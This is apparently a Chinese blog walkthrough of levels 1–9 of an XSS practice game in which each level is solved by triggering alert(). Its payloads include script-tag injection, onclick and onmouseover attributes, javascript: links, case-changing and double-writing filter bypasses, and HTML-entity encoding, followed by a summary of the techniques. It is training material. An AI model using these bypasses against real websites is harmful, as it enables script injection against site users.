XSS-过关小游戏(1-9)

触发alert()完成关卡。

1.

<script>alert()</script>

2.

先测试一下

ctrl + u 查看源代码

观察第17行,闭合第17行即可插入alert

"><script>alert()</script>

3.

测试,查看源代码

'onclick = 'alert()

onclick:当按钮被点击时执行Javascript代码,这里是为输入框加了onclick,所以访问之后需要点击一下输入框。同理还有onmouseover,访问后需要将鼠标移动至输入框。

 

4.

" onclick = "alert()

5.

大小写绕过未果

尝试新方法

通过点击超链接触发js

"><a href = javascript:alert()>123</a>//

 

6.

大小写绕过

" Onclick = "alert()

or

"><a Href = javascript:alert()>123

 

7.

尝试大小写未果,尝试双写

" oonnclick = "alert()

 

8.

 

将javascript进行实体编码(https://www.qqxiuzi.cn/bianma/zifushiti.php)//10进制16进制均可

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert

点击友情链接

 

9.

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert()//http://

 

总结:

尖括号被转换可以考虑onclick和onmouseover等

单词被替换可以尝试大小写或者实体编码

单词被过滤可以尝试双写、大小写或实体编码

 

学到的payload:

<script>alert()</script>

<a href = javascript:alert()>

事件payload:onclick = alert()  onmouseover = alert()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值